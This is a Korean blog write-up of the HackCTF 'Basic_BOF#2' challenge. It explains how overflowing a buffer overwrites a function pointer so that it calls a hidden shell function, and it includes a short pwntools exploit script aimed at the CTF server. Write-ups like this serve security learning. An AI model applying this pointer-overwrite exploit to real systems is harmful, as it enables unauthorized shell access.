본문 바로가기
Wargame/HackCTF

Basic_BOF#2

by Anatis 2021. 3. 15.

1. Mitigation

보호기법은 NX enable이고, GOT overwrite가 가능하다.

 

2. 문제 확인

데이터를 입력받을 수 있고 입력을하니 하아아아아아앙 이라는 문자열이 출력된다.

 

 

3. 문제 풀이

ida로 까보면 변수로는 s, v5가 있다. v5는 sup함수를 포인팅하고 있고 fgets로 s에 133만큼 입력 받는데 s는 0x8c 즉 140 바이트라 bof는 불가능 하다.

 

sup 함수를 살펴보면 s의 값을 출력 해주는데 함수 쪽을 살펴보면 shell이라는 함수가 있다. 이 shell의 함수를 살펴보니 system("/bin/dash")를 실행시켜준다. 그렇다면 sup의 함수에서 shell 함수로 포인팅하게 하면 될것이다.

 

133 바이트만큼 입력 받을 수 있으니 s에 0x80 (0x8c - 0xc)만큼의 값을 입력해주고 리턴 값으로 shell의 함수 주소를 리턴해주면 쉘이 따질것이다.

 

exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3001)
elf = ELF('./bof_basic2')

shell = elf.symbols['shell']

payload = 'A'*128
payload += p32(shell)

r.send(payload)

r.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

Simple_size_bof  (0) 2021.03.16
x64 Buffer Overflow  (0) 2021.03.16
내 버퍼가 흘러넘친다!!!  (0) 2021.03.16
Basic_FSB  (0) 2021.03.16
Basic_BOF  (0) 2021.03.08

댓글